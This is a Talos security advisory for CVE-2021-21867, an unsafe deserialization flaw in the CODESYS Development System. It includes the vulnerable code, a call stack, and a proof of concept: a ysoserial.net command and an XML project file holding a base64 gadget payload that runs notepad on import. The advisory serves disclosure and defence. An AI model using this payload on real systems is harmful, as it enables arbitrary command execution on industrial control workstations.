Talos Vulnerability Report

TALOS-2021-1304

CODESYS Development System ObjectManager.plugin ObjectStream.ProfileByteArray Unsafe Deserialization vulnerability

JULY 26, 2021

CVE NUMBER

CVE-2021-21867

Summary

An unsafe deserialization vulnerability exists in the ObjectManager.plugin ObjectStream.ProfileByteArray functionality of CODESYS GmbH CODESYS Development System 3.5.16 and 3.5.17. A specially crafted file can lead to arbitrary command execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

CODESYS GmbH CODESYS Development System 3.5.16
CODESYS GmbH CODESYS Development System 3.5.17

Product URLs

https://store.codesys.com/codesys.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-502 - Deserialization of Untrusted Data

Details

The CODESYS Development System is the IEC 61131-3 programming tool for industrial control and automation technology, available in 32- and a 64-bit versions.

Unsafe deserialization occurs within the ProfileByteArray Property on the ObjectStream class

```
[DefaultSerialization("Profile")]
[StorageVersion("3.3.0.0")]

private byte[] ProfileByteArray
{
    get
    {
        if (this._profile != null)
        {
            using (ChunkedMemoryStream chunkedMemoryStream = new ChunkedMemoryStream())
            {
                new BinaryFormatter
                {
                    Binder = new LegacyCODESYSSerializationBinder()
                }.Serialize(chunkedMemoryStream, this._profile);
                return chunkedMemoryStream.ToArray();
            }
        }
        return null;
    }
    set
    {
        if (value != null)
        {
            try
            {
                using (ChunkedMemoryStream chunkedMemoryStream = new ChunkedMemoryStream(value))
                {
                    BinaryFormatter binaryFormatter = new BinaryFormatter();
                    this._profile = (binaryFormatter.Deserialize(chunkedMemoryStream) as Profile); // [1]
                }
                return;
            }
            catch
            {
                return;
            }
        }
        this._profile = null;
    }
}
```

The `BinaryFormatter.Deserialize` method is never safe when used with untrusted input [2]. The deserialization that occurs at [1] is vulnerable to exploitation via the “Profile” array field of an imported XML project file.

[2] https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide

Crash Information

Partial Call Stack

```
objectmanager.plugin.dll!_3S.CoDeSys.ObjectManager.ObjectStream.ProfileByteArray.set(byte[] value = {byte[0x000008C3]})
objectmanager.plugin.dll!_3S.CoDeSys.ObjectManager.GenericObjectService.SetSerializableValueImpl(_3S.CoDeSys.Core.Objects.GenericObject go =
{_3S.CoDeSys.ObjectManager.ObjectStream}, _3S.CoDeSys.ObjectManager.TypeAccess typeAccess = {_3S.CoDeSys.ObjectManager.TypeAccess}, string
valueName = "Profile", object value = {byte[0x000008C3]})
objectmanager.plugin.dll!_3S.CoDeSys.ObjectManager.GenericObjectService.SetSerializableValue(_3S.CoDeSys.Core.Objects.GenericObject go =
{_3S.CoDeSys.ObjectManager.ObjectStream}, string valueName = "Profile", object value = {byte[0x000008C3]})
Objects.dll!_3S.CoDeSys.Core.Objects.GenericObject.SetSerializableValue(string stValueName = "Profile", object value = {byte[0x000008C3]})
xmlarchive.plugin.dll!_3S.CoDeSys.XmlArchive.ObjectReader.ReadIArchivableValue(System.Xml.XmlReader xmlReader = {System.Xml.XmlTextReader},
_3S.CoDeSys.XmlArchive.DeserializeTypeInfo typeInfo = {_3S.CoDeSys.XmlArchive.DeserializeTypeInfo}, bool bThrowIfTypeIsMissing = true)
xmlarchive.plugin.dll!_3S.CoDeSys.XmlArchive.ObjectReader.ReadSingleObject(System.Xml.XmlReader xmlReader = {System.Xml.XmlTextReader}, bool
bThrowIfTypeIsMissing = true, out string stName = null)
xmlarchive.plugin.dll!_3S.CoDeSys.XmlArchive.ObjectReader.Read(System.Xml.XmlReader xmlReader = {System.Xml.XmlTextReader},
_3S.CoDeSys.Core.Objects.IArchivable targetInstance = null, byte[] targetInstanceNesting = null, bool bThrowIfTypeIsMissing = true, out
string stName = null, out bool bEnd = false)
xmlarchive.plugin.dll!_3S.CoDeSys.XmlArchive.AbstractXmlArchiveReader.Load()
xmlarchive.plugin.dll!_3S.CoDeSys.XmlArchive.AbstractXmlArchiveReader.Fill(_3S.CoDeSys.Core.Objects.IArchivable obj =
{_3S.CoDeSys.ObjectManager.ObjectStream})
objectmanager.plugin.dll!_3S.CoDeSys.ObjectManager.ObjectStream.Read(System.IO.Stream stream = {_3S.CoDeSys.Utilities.AuthFileStream},
System.Guid archiveReaderGuid = {System.Guid})
objectcommands.plugin.dll!_3S.CoDeSys.ObjectCommands.ImportCommand2.ReadEntries(int nProjectHandle = 0x000000E3,
System.Collections.Generic.ICollection<string> fileNames = {string[0x00000001]})
objectcommands.plugin.dll!_3S.CoDeSys.ObjectCommands.ImportCommand2.ExecuteBatch(string[] arguments = {string[0x00000000]})
engine.plugin.dll!ns3.Class11<_3S.CoDeSys.Core.Commands.IStandardCommand, _3S.CoDeSys.Core.Commands.ICustomizedStandardCommand,
CODESYS.Commands.IStandardCommandsCustomizer>.ExecuteBatch(string[] arguments = {string[0x00000000]})
engine.plugin.dll!ns0.Class16<_3S.CoDeSys.Core.Commands.IStandardCommand, _3S.CoDeSys.Core.Commands.ICustomizedStandardCommand, ns0.Class12,
CODESYS.Commands.IStandardCommandsCustomizer>.imethod_1(string[] string_0 = {string[0x00000000]})
engine.plugin.dll!_3S.CoDeSys.Engine.CommandManager.method_2(System.Guid guid_0 = {System.Guid}, string[] string_0 = {string[0x00000000]})
engine.plugin.dll!_3S.CoDeSys.Engine.CommandManager.ExecuteStandardCommand(System.Guid commandGuid = {System.Guid}, bool
bInvokedByContextMenu = false)
frame.plugin.dll!_3S.CoDeSys.Frame.MenuHandler.ExecuteCommandMenuItem(_3S.CoDeSys.Frame.CommandMenuItem cmi =
{_3S.CoDeSys.Frame.CommandMenuItem}, int nIndex = 0xFFFFFFFF, bool bInvokedByContextMenu = false, bool isAdditionalCommand = false)
frame.plugin.dll!_3S.CoDeSys.Frame.MenuHandler.OnActivate(object sender = {_3S.CoDeSys.Frame.CustomToolStripMenuItem}, System.EventArgs e =
{System.EventArgs})
...
```

Exploit Proof of Concept

A payload can be generated using the ysoserial.net tool.

```
./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "notepad" -t
```

Insert the payload in to “Profile” array field of a project file and import it to exploit the unsafe deserialization and execute the notepad.exe command.

```
<ExportFile>
<StructuredView Guid="{21af5390-2942-461a-bf89-951aaf6999f1}">
<Single xml:space="preserve" Type="{3daac5e4-660e-42e4-9cea-3711b98bfb63}" Method="IArchivable">
<Array Name="Profile"
Type="byte">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5
BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWws
IFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21w
YXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRl
MDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVT
ZXJpYWxpemFlaW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAovYyBub3RlcGFkBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVs
ZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2Vy
aWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlh
bGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdh
dGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29y
bGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjC3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29yZW5vbGliLCBWZXJzaW9u
PTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjC3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249
NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjC3YTVj
NTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SSZWZsZWN0aW9uLk1lbWJlckluZluZm9TZXJpYWxpemFlaW9u
SG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5
cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdu
b3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAA
ACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAA
CgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29yGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5
VG9rZW49YjC3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</Array>
<Single Name="ProfileName" Type="string">CODESYS V3.5 SP16</Single>
</Single> </StructuredView>
</ExportFile>
```

Timeline

2021-05-18 - Vendor Disclosure
2021-07-26 - Public Release

CREDIT

Discovered by Patrick DeSantis of Cisco Talos.
